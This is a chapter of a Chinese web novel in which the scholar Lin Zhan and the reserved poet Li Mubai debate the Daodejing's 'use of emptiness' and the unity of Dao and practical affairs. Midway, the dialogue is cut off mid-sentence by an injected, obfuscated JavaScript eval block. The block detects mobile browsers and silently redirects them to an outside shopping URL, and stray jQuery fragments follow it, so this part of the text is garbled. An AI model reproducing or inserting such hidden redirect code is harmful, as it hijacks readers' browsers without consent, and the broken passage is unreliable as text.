春风一日暖过一日，县学庭院里的老槐树已抽出嫩绿的新芽。林湛帮村里争取赋税减免的事，不知怎的也在县学里传开了些风声。有人赞他“学以致用，惠泽乡里”，也有人私下嘀咕“秀才岂可过问钱谷俗务”？徐文斌便是后者，偶尔碰见林湛，总要不阴不阳来一句：“林案首如今是‘亦官亦商亦师爷’，忙得很呐！”


    林湛只当没听见。他如今除了日常课业，还要抽空去户房翻阅旧卷，与王砚之讨论案例，偶尔还得关心糖饼铺子的旬结月结，确实忙碌。周文渊劝他多休息，他却觉得这种充实感很好，能触摸到更真实的世界。


    这日午后，林湛正在洗心亭温习《大学衍义补》，忽见李慕白沿着小径缓步而来。他依旧是那身半旧青衫，手里握着一卷书，走到亭外停住。


    “林案首。”李慕白声音平静无波。


    林湛起身拱手：“李兄。”


    李慕白走进亭中，目光扫过林湛案上的书，微微一怔：“《大学衍义补》？林案首好涉猎。”


    “随便翻翻。”林湛道，“李兄今日得闲？”


    “嗯。”李慕白在石桌对面坐下，将手中书卷放在桌上，却是《老子道德经》。“慕白近日读老庄，偶有所惑，闻林案首博涉经史，特来请教。”


    这话说得客气，但林湛听得出，这“请教”背后，恐怕又是一番考校或探讨。他平静道：“不敢当。李兄请讲。”


    李慕白翻开《道德经》某一页，指尖轻点：“‘三十辐共一毂，当其无，有车之用。埏埴以为器，当其无，有器之用。’老子此言，似在强调‘无’之用、‘虚’之功。然则，读书人为学，当重‘有’之实学，还是当悟‘无’之虚理？譬如匠人造车，辐毂为‘有’，中空为‘无’，二者孰重？”


    这问题颇有些玄妙。林湛略一沉吟，道：“湛浅见，辐毂与中空，本是一体，不可分割。无辐毂不成其车，无中空亦不成其用。读书为学，亦然。经史子集、典章制度，此‘有’也；明理悟道、通达变通，此‘无’也。无‘有’则‘无’成空谈，无‘无’则‘有’成死物。譬如李兄诗赋，若无字句格律之‘有’，则情思无处寄托；若无意境神韵之‘无’，则字句徒具形骸。”


    李慕白眼中闪过一丝微光：“林案首善辩。然则，世人多重‘有’而轻‘无’，重‘器’而轻‘道’。如林案首近日所为，助村争赋、营商牟利，可谓尽在‘有’‘器’之中。此等作为，于‘无’‘道’何益？”


    这话问得直接，隐隐有批评林湛过于务实、忽视精神追求的意味。林湛不恼，反而笑了：“李兄此问，令湛想起《周易》中一言：‘形而上者谓之道，形而下者谓之器。’世人常将道器二分，贵道而贱器。然湛愚以为，道不离器，器不离道。譬如农夫耕田，锄头为器，顺应天时为道。无锄头则地不得耕，不顺应天时则耕亦无获。湛助村争赋，是欲使农人手中之‘器’（田亩）能得其所用；营商牟利，是欲使匠人手中之‘器’（手艺）能养其家室。此皆‘器’事，然其中若无公平之心、仁恕之道，则争赋或成挟私，营商或成盘剥。故湛以为，为学当求道器合一，于‘有’中见‘无’，于‘器’中践‘道’。”


    他顿了顿，看着李慕白：“李兄诗赋，字字珠玑，意境超然，是于‘有’中呈现‘无’之妙境。湛所为俗务，是于‘无’中寻求‘有’之落实。路径虽异，其心或可相通——皆不愿所学空悬，愿其有所着落，或润人心，或利民生。”


    亭中一时安静。春风拂过亭外新发的柳枝，沙沙作响。池中已有早生的浮萍，星星点点缀在水面。


    李慕白沉默良久，手指在《道德经》的书页上轻轻摩挲。他生性孤高，向来不屑于世俗琐务，认为那会玷污精神的纯粹。可林湛这番话，却将“道”与“器”、“有”与“无”的关系，阐述得如此圆融通透，甚至将自己的诗赋追求与对方的实务作为，都归于“不愿所学空悬”的同一初心下。


    这让他心中那堵无形的高墙，微微松动了一丝。


    “林案首此言……慕白受教。”李慕白的声音依旧清冷，但少了几分疏离，“然则，道器合一，说来容易，行之极难。世人多溺于器而忘道，或空谈道而鄙器。即如这县学之中，”他目光扫向明伦堂方向，“多少人终日埋首章句，所求不过功名利禄之‘器’，于圣贤之‘道’，何尝真有体会？”


    林湛点头：“李兄所言极是。此正是读书人之


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17186811|196937||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    大患。湛亦常自省：所为诸事，是否已偏离本心，沦为纯粹功利？故需时时提醒自己，持守‘公平之心、仁恕之道’。此心此道，便是‘器’中之‘无’，亦是连接‘有’与‘无’之桥梁。”


    他拿起《大学衍义补》，翻到一页：“真德秀先生在此书中，力倡‘格物致知、诚意正心’须与‘修齐治平’相结合，反对空谈性理。湛深以为然。或许，道器合一之难，正在于需在具体事务中，时时磨砺本心，方不迷失。”


    李慕白目光落在那本书上，忽然问：“林案首读此书，是为乡试备考，还是……确有志于‘修齐治平’？”


    林湛坦然道：“二者皆有。湛不敢妄言大志，但觉既食民粟，读圣贤书，总该思如何有益于世。乡试是路径，非终点。”


    这话说得朴实，却自有一股沉静的力量。李慕白凝视林湛片刻，那总是笼罩着寒霜般的眼眸深处，似乎有什么东西微微化开。他移开视线，望向亭外池水，低声道：“慕白自幼好读书，尤爱老庄诗文，常觉世间浊浊，唯清虚之境可栖。于俗务……实无兴致，亦觉无能。”


    这是李慕白第一次流露出如此直白的自我剖白。林湛听出了那份孤高背后的些许迷茫，温言道：“人各有志，性各有近。李兄诗才清绝，能于文字中开辟一方清虚之境，滋养人心，亦是功德。道有千万，未必皆需经世。能守持本真，以文载道，便是不负所学。”


    李慕白微微一震，转回头看向林湛。对方眼神清正平和，并无半分敷衍或居高临下的劝诫，只有真诚的理解与尊重。


    他沉默片刻，忽然起身，对林湛一揖：“今日一席话，慕白受益良多。告辞。”


    说罢，拿起《道德经》，转身离去。依旧是那挺直孤清的背影，但步履似乎比往日稍缓，少了些拒人千里的决绝。


    林湛站在亭中，望着李慕白消失在假山石后。春风送来远处学子隐约的读书声，和西斋那边噼啪作响的算盘声。他低头看了看案上两本截然不同的书，笑了笑。


    道与器，有与无，清虚与务实……或许本就不是非此即彼。每个人都在寻找自己的平衡点，而真正的理解和欣赏，往往始于承认这种不同。


    亭